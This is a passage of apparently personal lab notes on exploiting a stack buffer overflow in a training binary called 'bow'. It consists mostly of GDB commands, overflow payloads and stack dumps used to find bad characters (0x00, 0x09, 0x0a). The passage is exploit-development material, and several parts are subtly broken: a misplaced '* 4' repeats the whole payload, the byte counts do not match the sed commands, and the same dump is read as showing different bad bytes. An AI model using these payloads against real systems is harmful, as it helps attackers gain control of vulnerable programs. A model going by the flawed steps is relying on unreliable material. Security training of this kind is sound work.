   0x565555a4 <+34>:	mov    eax,DWORD PTR [eax]
   0x565555a6 <+36>:	sub    esp,0xc
   0x565555a9 <+39>:	push   eax
   0x565555aa <+40>:	call   0x5655554d <bowfunc>		# <---- bowfunc Function
   0x565555af <+45>:	add    esp,0x10
   0x565555b2 <+48>:	sub    esp,0xc
   0x565555b5 <+51>:	lea    eax,[ebx-0x1974]
   0x565555bb <+57>:	push   eax
   0x565555bc <+58>:	call   0x565553e0 <puts@plt>
   0x565555c1 <+63>:	add    esp,0x10
   0x565555c4 <+66>:	mov    eax,0x1
   0x565555c9 <+71>:	lea    esp,[ebp-0x8]
   0x565555cc <+74>:	pop    ecx
   0x565555cd <+75>:	pop    ebx
   0x565555ce <+76>:	pop    ebp
   0x565555cf <+77>:	lea    esp,[ecx-0x4]
   0x565555d2 <+80>:	ret    
 End of assembler dump.

(gdb) info functions 
 All defined functions:

 Non-debugging symbols:
 ...
 0x0000054d  bowfunc
 0x00000582  main
 ...
 
(gdb) break *bowfunc
 Breakpoint 1 at 0x54d
 
//insert payload with bad characters into the buffer
(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-student/bow $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
 /bin/bash: warning: command substitution: ignored null byte in input

 Breakpoint 1, 0x5655554d in bowfunc ()
 
 * note the warning about null byte which is an indication of BAD CHARS

IDENTIFY FIRST BAD CHARACTER

Analyze the stack & identify the first bad character. Look for the place where the CHARS start which should be after the 0x55s...

(gdb) x/2000xb $esp+500
 0xffffd28a:	0xbb	0x69	0x36	0x38	0x36	0x00	0x00	0x00
 0xffffd292:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 0xffffd29a:	0x00	0x2f	0x68	0x6f	0x6d	0x65	0x2f	0x73
 0xffffd2a2:	0x74	0x75	0x64	0x65	0x6e	0x74	0x2f	0x62
 0xffffd2aa:	0x6f	0x77	0x2f	0x62	0x6f	0x77	0x33	0x32
 0xffffd2b2:	0x00    0x55	0x55	0x55	0x55	0x55	0x55	0x55
 			# |---> "\x55"s begin

 0xffffd2ba: 0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
 0xffffd2c2: 0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
 <SNIP>
 0xffffd5aa:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
 0xffffd5b2:	0x55	0x55	0x55	0x55	0x55	0x55	0x55	0x55
 0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
						     # |---> CHARS begin
                                                     # 0x00 identified as BAD remove it
 0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
 0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
 0xffffd5d2:	0x15	0x16	0x17	0x18	0x19	0x1a	0x1b	0x1c
 <SNIP>
 
 * where the "\x55" ends, and the CHARS variable begins, it starts with "\x01" instead 
   of "\x00
    - this null byte is the first BAD CHARACTER that must be removed!
 
 * x means examine memory
 * /2000b — format and count
    - 2000 = the count of units to display.
      b = unit type = byte. So 2000b prints 2000 bytes.
      Other unit suffixes: h = halfword (2 bytes), w = word (4 bytes), 
      g = giant/quad (8 bytes).
 * $esp+500 — the start address to examine: the current value of the ESP register 
   plus 500 bytes.
   
 * 500 is an offset from the stack pointer that moves the view down the stack to where
   the buffer/filler begins. It was chosen by eye or by earlier inspection so the 
   output starts a little before the \x55 filler.
 * 2000 is a “safe big window” that ensures the entire 
   payload (filler + CHARS + EIP + some surrounding stack) appears in the dump. 
   The debugger will print that many bytes, which can be large but is convenient 
   when you do not know exact boundaries.
    - Both numbers are arbitrary in the sense that you can change them. Better 
      practice is to compute minimal values so your output is focused and easy to 
      inspect.
    - Using values like 2000 for the length and 500 for the offset in a GDB memory dump is 
      a common, safe practice when analyzing stack-based buffers. The 2000 bytes ensures 
      that you capture roughly 2 KB of memory, which is usually sufficient to see the 
      entire injected buffer, any CHARS sequences, and the saved return address without 
      running into unmapped memory. The 500 byte offset simply shifts the view slightly 
      past $esp, providing context around the top of the stack and the start of the 
      buffer. While these numbers are not exact, they are conservative defaults that work 
      for most typical 32-bit Linux stack layouts. For precise analysis, one could 
      calculate offsets based on the exact distance from $esp to the buffer start and 
      from the buffer to EIP, but using “safe” defaults like 2000 and 500 is widely 
      accepted in practice and avoids the need to guess.
      
 * the main point is to find the first BAD CHARACTER!
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 256 - 4) = 780
 CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

//remove the 0x00 bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x00//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
 255
root@sre:~$ echo $CHARS
 \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

//modified buffer size and payload
Buffer = "\x55" * (1040 - 255 - 4) = 781         # Substract the number of removed characters
 CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"  # "\x00" removed: 256 - 1 = 255 bytes
 EIP = "\x66" * 4

PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')

IDENTIFY SECOND BAD CHARACTER

Send payload without NULL bytes

(gdb) run $(python -c 'print("\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-student/bow $(python -c 'print("\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')

 Breakpoint 1, 0x5655554d in bowfunc ()

(gdb) x/2000xb $esp+550
 <SNIP>
 0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
 0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
						     # |----| <- "\x09" expected
                                                     # \x09 is identified as BAD remove it
 0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
 <SNIP>
 
 * notice that the "\x00" instead of the "\x09" was encountered. This tells us that 
   this character is not allowed here and must be removed accordingly.
 
 * the change from $esp+500 to $esp+550 reflects a small adjustment in the starting 
   point to account for how much of your injected buffer is actually present on the 
   stack at that moment. When you initially chose $esp+500, it was an arbitrary “safe” 
   guess to get near the start of your payload without hitting unmapped memory. After 
   injecting the first batch of bytes and observing the stack, you could see exactly 
   where your buffer begins, so you adjusted the offset slightly to $esp+550 to more 
   precisely point to the start of your test characters (\x00, \x01, etc.).
    - Essentially, the +50 increase is not random—it’s based on the observed memory 
      layout. Once you identify where your injected pattern lands, you can set the 
      offset to start right at the first byte you want to analyze, making it easier to 
      detect which characters are treated as bad. This iterative adjustment is a 
      normal part of bad-character analysis.
    - $esp+550 is not arbitrary—it’s calculated based on where the first byte of your 
      test pattern actually appears on the stack. Once you know that, you can start 
      analyzing the bytes from that point onward to identify the first bad 
      character (0x00 in this case) and continue with the methodical bad-character 
      testing.
      
 * Here it depends on our bytes' correct order in the variable CHARS to see if any 
  character changes, interrupts, or skips the order.
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 255 - 4) = 781
 CHARS = "\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

//remove the 0x09 bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x09//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
 254
root@sre:~$ echo $CHARS
 \x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

//modified buffer size and payload
Buffer = "\x55" * (1040 - 254 - 4) = 782         # Substract the number of removed characters
 CHARS = "\x01\x02\x03...<SNIP>...\xfd\xfe\xff"  # "\x00" removed: 256 - 2 = 254 bytes
 EIP = "\x66" * 4

PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") * 4')

CONTINUE IDENTIFYING BAD CHARACTERS UNTIL NONE LEFT

Send payload without "\x00" & "\x09"...repeat the process until all bad characters are identified and removed!

//Send CHARS - Without "\x00" & "\x09"
(gdb) run $(python -c 'print("\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/htb-student/bow $(python -c 'print("\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66") * 4')

 Breakpoint 1, 0x5655554d in bowfunc ()
 
(gdb) x/2000xb $esp+550
 <SNIP>
 0xffffd5ba:	0x55	0x55	0x55	0x55	0x55	0x01	0x02	0x03
 0xffffd5c2:	0x04	0x05	0x06	0x07	0x08	0x00	0x0b	0x0c
                                                     # |----| <- "\x0a" expected
                                                     # \x0a identified as BAD remote it
 0xffffd5ca:	0x0d	0x0e	0x0f	0x10	0x11	0x12	0x13	0x14
 <SNIP>
//previous buffer size and payloads
Buffer = "\x55" * (1040 - 254 - 4) = 782
 CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
   EIP = "\x66" * 4

//remove the 0x0a bad character
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
root@sre:~$ CHARS=$(echo "$CHARS" | sed 's/\\x0a//g')
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
 253
root@sre:~$ echo $CHARS
